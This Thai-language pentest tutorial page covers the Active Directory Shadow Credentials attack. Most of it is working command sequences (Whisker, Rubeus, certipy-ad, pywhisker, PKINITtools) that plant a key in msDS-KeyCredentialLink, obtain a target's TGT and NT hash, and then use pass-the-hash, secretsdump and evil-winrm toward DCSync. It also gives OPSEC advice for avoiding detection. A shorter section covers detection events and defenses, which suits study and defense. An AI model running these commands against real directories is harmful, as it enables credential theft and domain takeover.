คลัง
active-directory

Shadow Credentials

Shadow Credentials คือการเขียน public key ของเราลงใน attribute <code>msDS-KeyCredentialLink</code> ของ user/computer เป้าหมาย เพื่อ authenticate เป็น object นั้นด้วย certificate ผ่าน <strong>PKINIT</strong> (Kerberos public-key preauth) โดย<strong>ไม่ต้องรู้รหัสผ่าน</strong>และไม่ต้อง reset password เงื่อนไขคือมีสิทธิ์เขียน attribute นี้ (GenericWrite / GenericAll / WriteProperty) และโดเมนรองรับ PKINIT (มี DC certificate / ADCS) บทนี้ลงลึกกลไก Key Trust, การ abuse ด้วย Whisker/pyWhisker/Certipy, การทำ UnPAC-the-hash เพื่อดึง NT hash, การตรวจจับและป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)

Advanced#shadow-credentials#msds-keycredentiallink#whisker#pywhisker#certipy#pkinit#key-trust#unpac-the-hash

1. หลักการ — Key Trust และ msDS-KeyCredentialLink

Windows Hello for Business แนะนำกลไก Key Trust authentication — แทนที่จะพิสูจน์ตัวด้วยรหัสผ่าน object สามารถพิสูจน์ตัวด้วย key pair โดย public key ถูกเก็บใน attribute msDS-KeyCredentialLink ของ object นั้น (เก็บเป็นโครงสร้าง KEYCREDENTIALLINK / raw public key blob) เมื่อ authenticate DC จะ challenge ด้วย public key และผู้ถือ private key เท่านั้นที่ตอบได้ผ่าน PKINIT

ช่องโหว่: ถ้าเรามีสิทธิ์เขียน attribute msDS-KeyCredentialLink ของเป้าหมาย (จาก GenericWrite / GenericAll / WriteProperty ที่ BloodHound มักชี้เป็น edge AddKeyCredentialLink) เราสามารถสร้าง key pair ของเราเอง แล้วเพิ่ม public key เข้าไปในเป้าหมาย จากนั้นใช้ private key คู่กัน authenticate เป็นเป้าหมายผ่าน PKINIT ได้ทันที — ได้ TGT ของเป้าหมาย และด้วยเทคนิค UnPAC-the-hash ยังดึง NT hash ออกมาได้ด้วย ทั้งหมดนี้ไม่แตะรหัสผ่านเดิมของเป้าหมายเลย

Shadow Credentials — add key → PKINIT → TGT/NT hash
attacker มี GenericWrite target object msDS-KeyCredentialLink DC (PKINIT) รองรับ smartcard logon TGT ของ target + NT hash (UnPAC) 1. add key 2. PKINIT 3. TGT
เนื้อหานี้เพื่อการทดสอบเจาะระบบที่ได้รับอนุญาตเป็นลายลักษณ์อักษร (engagement/lab/CTF) เท่านั้น
เทียบกับ Targeted Kerberoast หรือ RBCD: Shadow Credentials เนียนกว่าเพราะไม่แตะรหัสผ่านเป้าหมาย (ไม่ทำให้ผู้ใช้จริง login ไม่ได้) และถอนคืนได้ (ลบ key ทิ้ง) — เป็นตัวเลือกแรกเมื่อ BloodHound ชี้ edge AddKeyCredentialLink / GenericWrite บน user หรือ computer

2. เงื่อนไขที่ต้องครบ

  • เรามีสิทธิ์ GenericWrite / GenericAll / WriteProperty (AddKeyCredentialLink) บน msDS-KeyCredentialLink ของ target (BloodHound เห็นชัด — มองหา edge AddKeyCredentialLink)
  • โดเมนรองรับ PKINIT — ต้องมี DC ที่มี certificate สำหรับ Kerberos Authentication / Smartcard Logon (มักมาพร้อม ADCS ที่ออก DC cert)
  • Domain Functional Level อย่างน้อย Windows Server 2016 (schema รองรับ Key Trust)
  • target เป็น user หรือ computer object ก็ได้ — computer object น่าสนใจเพราะมักนำไปสู่ RBCD / local admin
ถ้าโดเมนไม่มี PKINIT (ไม่มี DC certificate / ไม่มี ADCS) เทคนิคนี้ใช้ไม่ได้ — เพราะ DC จะปฏิเสธ public-key preauth ในกรณีนั้นให้ pivot ไป RBCD หรือ Targeted Kerberoasting (แก้ SPN ชั่วคราว) แทน โดยใช้สิทธิ์ write เดียวกัน

3. Exploitation — Whisker / pyWhisker / Certipy

มีสองเส้นทางหลัก: บน Windows ใช้ Whisker (C#) ที่ทำงาน in-memory คู่กับ Rubeus, บน Linux ใช้ pywhisker (เพิ่ม key) + PKINITtools/gettgtpkinit.py (ขอ TGT) หรือใช้ Certipy shadow auto ที่ทำครบทุกขั้นให้อัตโนมัติ

Windows — Whisker + RubeusWindows
# 1. เพิ่ม shadow credential ให้ target (สร้าง key pair + เขียน msDS-KeyCredentialLink)
Whisker.exe add /target:victim$

# Whisker จะ print คำสั่ง Rubeus พร้อม cert (base64) ให้ต่อ เช่น:
# Rubeus.exe asktgt /user:victim$ /certificate:<base64> /password:"<gen-pass>" /domain:domain.local /dc:dc.domain.local /getcredentials /show

# 2. รัน Rubeus เพื่อขอ TGT ด้วย cert + ดึง NT hash (UnPAC-the-hash)
Rubeus.exe asktgt /user:victim$ /certificate:<base64> /password:"<gen-pass>" /domain:domain.local /dc:dc.domain.local /getcredentials /show
# /getcredentials → คืน NTLM hash ของ victim$ ด้วย (U2U/PAC)

# 3. เมื่อจบงาน ลบ key ทิ้ง (ถอนคืน)
Whisker.exe remove /target:victim$ /deviceid:<GUID>
Whisker ทำงานบน host ที่ join โดเมน; /getcredentials ของ Rubeus คือ UnPAC-the-hash ได้ NT hash โดยไม่ต้องรู้รหัสเดิม
Linux — Certipy shadow auto (ครบขั้นในคำสั่งเดียว)Linux
# certipy ทำ: gen key → เพิ่ม msDS-KeyCredentialLink → PKINIT → UnPAC → คืน NT hash
certipy-ad shadow auto \
    -u attacker@domain.local -p 'Password123' \
    -account victim -dc-ip 10.10.10.10

# ผลลัพธ์: "Got hash for 'victim@domain.local': aad3b...:<NThash>"
# ใช้ hash ต่อ (pass-the-hash)

# ถ้าเป็น computer object ใช้ชื่อพร้อม $ (บาง build ตัด $ ให้เอง)
certipy-ad shadow auto -u attacker@domain.local -p 'pass' -account 'victim$' -dc-ip 10.10.10.10

# ทางเลือก: แยกขั้น (list / add / remove)
certipy-ad shadow add   -u attacker@domain.local -p 'pass' -account victim -dc-ip 10.10.10.10
certipy-ad shadow list  -u attacker@domain.local -p 'pass' -account victim -dc-ip 10.10.10.10
certipy-ad shadow remove -u attacker@domain.local -p 'pass' -account victim -dc-ip 10.10.10.10 -device-id <GUID>
certipy shadow auto = เส้นทางเร็วสุดบน Linux; เก็บ -device-id ไว้เพื่อ shadow remove ตอน cleanup
Linux — pywhisker + PKINITtools (แยกขั้น, ควบคุมละเอียด)Linux
# 1. pywhisker: เพิ่ม key → ได้ไฟล์ .pfx + รหัส pfx
pywhisker.py -d domain.local -u attacker -p 'pass' \
    --target victim --action add --filename cert

# 2. ขอ TGT ด้วย cert (PKINIT) → ได้ .ccache + AS-REP key
python3 gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass <pfxpass> \
    domain.local/victim victim.ccache

# 3. UnPAC-the-hash: ใช้ AS-REP key ดึง NT hash
export KRB5CCNAME=victim.ccache
python3 getnthash.py -key <as-rep-key> domain.local/victim

# 4. ใช้ TGT / hash ต่อ
secretsdump.py -k -no-pass domain.local/victim@dc.domain.local
psexec.py -hashes :<NThash> domain.local/victim@target
gettgtpkinit.py + getnthash.py อยู่ในชุด PKINITtools (Dirk-jan); pywhisker เพิ่ม key อย่างเดียว ต้องขอ TGT ต่อเอง
เครื่องมือแพลตฟอร์มทำอะไร
WhiskerWindowsเพิ่ม/ลบ key + สร้าง Rubeus cmd
Rubeus asktgt /getcredentialsWindowsPKINIT + UnPAC-the-hash
Certipy shadow autoLinuxadd→PKINIT→UnPAC ครบขั้น
pywhiskerLinuxเพิ่ม/ลบ/ดู key (.pfx)
gettgtpkinit.pyLinuxขอ TGT ด้วย cert (PKINIT)
getnthash.pyLinuxUnPAC-the-hash → NT hash

4. Decision Flow

Shadow Credentials abuse
BloodHound ชี้ AddKeyCredentialLink / GenericWrite บน target?
ไม่มีหา ACL edge อื่น (ดู ACL Abuse)
มีไปต่อ
โดเมนมี PKINIT (DC cert / ADCS)?
ไม่มี PKINITใช้ RBCD / Targeted Kerberoast แทน
มีshadow credentials ได้
เพิ่ม key + PKINIT + UnPAC
certipy shadow auto / Whisker+Rubeus
ใช้สิทธิ์ target เดินหน้าต่อ (อาจถึง DA)

5. การตรวจจับ & OPSEC

สัญญาณตรวจที่ไหนหมายเหตุ
msDS-KeyCredentialLink เปลี่ยนEvent 5136 (Directory Service)attribute ถูกเพิ่ม key ใหม่
PKINIT authentication ผิดปกติEvent 4768 (etype cert)TGT ออกด้วย public-key preauth
cert-based logon สำหรับบัญชีที่ไม่เคยใช้DC security loguser/computer ที่ไม่ควรใช้ smartcard
key จาก device ที่ไม่รู้จักmsDS-KeyCredentialLink DeviceIDGUID แปลกปลอม
  • OPSEC: ลบ key ทิ้งทันทีหลังใช้ (Whisker remove / certipy shadow remove) — อย่าทิ้ง key ค้างไว้
  • OPSEC: ทำกับ target ที่มีเหตุผลจะใช้ cert อยู่แล้วยิ่งเนียน; หลีกเลี่ยง target ที่ไม่เคยใช้ Key Trust
  • OPSEC: Shadow Credentials สร้าง Event 5136 เสมอถ้ามี SACL audit บน object — องค์กรที่ audit ละเอียดจับได้

6. Blue Team — การป้องกัน

  • Monitor Event 5136 ที่แก้ msDS-KeyCredentialLink — โดยเฉพาะบนบัญชี privileged; alert เมื่อ key ถูกเพิ่มจากบัญชีที่ไม่ใช่ตัวเจ้าของ
  • Least privilege บน ACL: ตรวจและลดสิทธิ์ GenericWrite/GenericAll/WriteProperty ที่ไม่จำเป็น (ใช้ BloodHound ฝั่ง defense หา over-permission)
  • ควบคุม ADCS / PKINIT: ถ้าไม่ได้ใช้ Windows Hello for Business ให้จำกัด/ปิดการออก cert ที่ใช้ smartcard logon โดยไม่จำเป็น
  • ป้องกัน Tier 0: วาง object สำคัญ (DA, DC, krbtgt) ไว้ใต้ ACL ที่เข้มงวด ไม่มี write จากบัญชีทั่วไป
  • ตรวจ Protected Users: สมาชิก Protected Users ใช้ PKINIT/Key Trust ในบางรูปแบบไม่ได้ — ลด attack surface สำหรับบัญชี privileged
  • ตอบสนอง: หากพบ shadow credential — ลบ key ที่ผิดปกติออกจาก msDS-KeyCredentialLink และสอบสวนบัญชีที่มีสิทธิ์เขียน

7. Walkthrough — CTF & real engagement

  1. 1รัน BloodHound แล้วพบ edge AddKeyCredentialLink จากบัญชีที่เราคุม → computer object DEV01$
  2. 2ยืนยันว่าโดเมนมี ADCS/PKINIT (มี CA + DC cert) — เช่น certipy find เห็น CA
  3. 3รัน: certipy-ad shadow auto -u me@domain.local -p 'pass' -account 'DEV01$' -dc-ip 10.10.10.10
  4. 4ได้ NT hash ของ DEV01$ → machine account
  5. 5ใช้ hash ทำ RBCD หรือ S4U ต่อ (computer account มักนำไปสู่ local admin / lateral)
  6. 6หรือถ้า target เป็น user privileged: ได้ hash → pass-the-hash → secretsdump → DCSync
  7. 7จบงาน: certipy-ad shadow remove ... -device-id เพื่อถอน key
ใน CTF ประเภท AD (เช่น HTB/PG) เมื่อเจอ GenericWrite บน computer object และมี ADCS — Shadow Credentials มักเป็นเส้นทางที่ 'ตั้งใจให้เดิน' เพราะเร็วและสะอาดกว่า reset password (RBCD ก็เป็นทางเลือกคู่กัน)

8. ข้อผิดพลาดที่พบบ่อย & แก้ปัญหา

  • โดเมนไม่มี PKINIT: อาการคือ PKINIT fail (KDC_ERR_PADATA_TYPE_NOSUPP) — ต้องมี DC cert; ถ้าไม่มีให้ pivot ไป RBCD/targeted kerberoast
  • clock skew: Kerberos ไวต่อเวลา — ถ้า time ต่างจาก DC เกิน 5 นาที PKINIT fail; sync เวลา (ntpdate / faketime) ก่อน
  • ลืม $ สำหรับ computer: target computer ต้องใช้ชื่อพร้อม $ (victim$); บาง tool ต้องระบุเอง
  • Functional level ต่ำ: ต่ำกว่า 2016 schema ไม่มี msDS-KeyCredentialLink — เขียนไม่ได้
  • ไม่มีสิทธิ์เขียนจริง: BloodHound แสดง edge แต่ ACL อาจถูก deny เฉพาะ; ยืนยันด้วย add แล้วดู error
  • ลืม cleanup: key ที่ค้างใน msDS-KeyCredentialLink = backdoor ถาวร ต้องลบเมื่อจบงาน

9. Quick Reference

  • ใช้เมื่อ: มี GenericWrite/GenericAll (AddKeyCredentialLink) บน target + โดเมนมี PKINIT/ADCS
  • Linux (ครบขั้น): certipy-ad shadow auto -account victim$ -u me -p pass -dc-ip DC
  • Windows: Whisker.exe add /target:victim$ → Rubeus asktgt /getcredentials
  • แยกขั้น: pywhisker add → gettgtpkinit.py → getnthash.py (UnPAC-the-hash)
  • ผล: ได้ NT hash / TGT ของ target โดยไม่ reset password (เนียน + ถอนได้)
  • ถ้าไม่มี PKINIT → ใช้ RBCD หรือ Targeted Kerberoasting แทน (สิทธิ์ write เดียวกัน)
  • cleanup: Whisker remove / certipy shadow remove -device-id
  • ตรวจจับ: Event 5136 (msDS-KeyCredentialLink), 4768 PKINIT; ป้องกัน: ลด ACL, คุม ADCS

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ BloodHound ชี้ edge AddKeyCredentialLink/GenericWrite บน user หรือ computer object มีแค่ Kali ทำตามนี้เพื่อได้ hash/TGT ของเป้าหมายโดยไม่ต้อง reset password

  1. 1ยืนยันเงื่อนไข: มีสิทธิ์ write ตามที่ BloodHound ชี้ + โดเมนมี PKINIT/ADCS (เช็คด้วย certipy find -u user@domain -p pass -dc-ip <DC_IP> -stdout ดูว่ามี CA ไหม)
  2. 2ถ้ามีครบ รันคำสั่งเดียวจบ: certipy-ad shadow auto -u attacker@domain.local -p 'pass' -account victim -dc-ip <DC_IP>
  3. 3ดูผลลัพธ์ 'Got hash for victim@domain.local: ...' — เก็บ NT hash ไว้
  4. 4ถ้า target เป็น computer object ใส่ $ ต่อท้ายชื่อ: -account 'victim$'
  5. 5ใช้ hash ที่ได้ pass-the-hash: evil-winrm -i <target> -u victim -H <NThash>
  6. 6ถ้าเป็น computer account ที่ได้มา ลองต่อไปทำ RBCD เพราะ computer account มักนำไปสู่ local admin
  7. 7จบงานควรลบ key ทิ้ง: certipy-ad shadow remove ... -device-id <GUID>
  8. 8ถ้าโดเมนไม่มี PKINIT เลย (ตัน) → ใช้สิทธิ์ write เดิมทำ RBCD หรือ targeted Kerberoast แทน
มี write บน target → เพิ่ม key → PKINIT → hash
มีสิทธิ์ write (AddKeyCredentialLink/GenericWrite) บน target ไหม
✅ มี→ เช็คว่าโดเมนมี PKINIT/ADCS ไหม
❌ ไม่มี→ กลับไปหา edge อื่นใน BloodHound
certipy find -stdout — มี CA/PKINIT ไหม
✅ มี ADCS→ รัน certipy-ad shadow auto
❌ ไม่มี ADCS เลย→ ใช้ RBCD/targeted Kerberoast แทน (สิทธิ์ write เดียวกัน)
certipy-ad shadow auto -account victim -u attacker -p pass -dc-ip DC
✅ ได้ NT hash→ pass-the-hash เข้า target
❌ PKINIT fail/error→ เช็ค clock skew (ntpdate) แล้วลองใหม่
evil-winrm -i target -u victim -H <hash>
✅ เข้าได้→ ถ้าเป็น computer account ลองต่อ RBCD
❌ WinRM ปิด→ ลอง psexec.py/wmiexec.py แทน
ntpdate <DC_IP> แล้วลองใหม่
✅ แก้ได้→ กลับไปรัน shadow auto ใหม่
❌ ยังไม่ได้→ ตรวจ Functional Level โดเมน (ต้อง 2016+) หรือใช้ RBCD แทน
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
หา ADCS/PKINIT-pipx install certipy-ad-
เพิ่ม key + ดึง hash (ครบขั้น)-certipy-ad (เดียวกัน)-
pass-the-hashimpacketgem install evil-winrm-
sync เวลากับ DCntpdateapt install ntpdate-
วิเคราะห์ edge ที่ BloodHound ชี้BloodHoundBloodHound CE (docker compose)bloodhound.readthedocs.io
แยกขั้นแบบละเอียด (ถ้า auto ใช้ไม่ได้)-pywhisker, PKINITtools (git clone)-
🚑 ถ้าตันสนิท ลองท่าถัดไป: ACL Abuse (ถ้าไม่มีสิทธิ์ write ตามที่ต้องการ) · Delegation Abuse (RBCD เป็นทางเลือกเมื่อไม่มี PKINIT) · DCSync (ถ้าได้ hash ของบัญชีสิทธิ์สูง) · ADCS Abuse (ESC) (ตรวจ ADCS ให้ดีก่อนว่าไม่มีช่องโหว่ template อื่นด้วย)

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้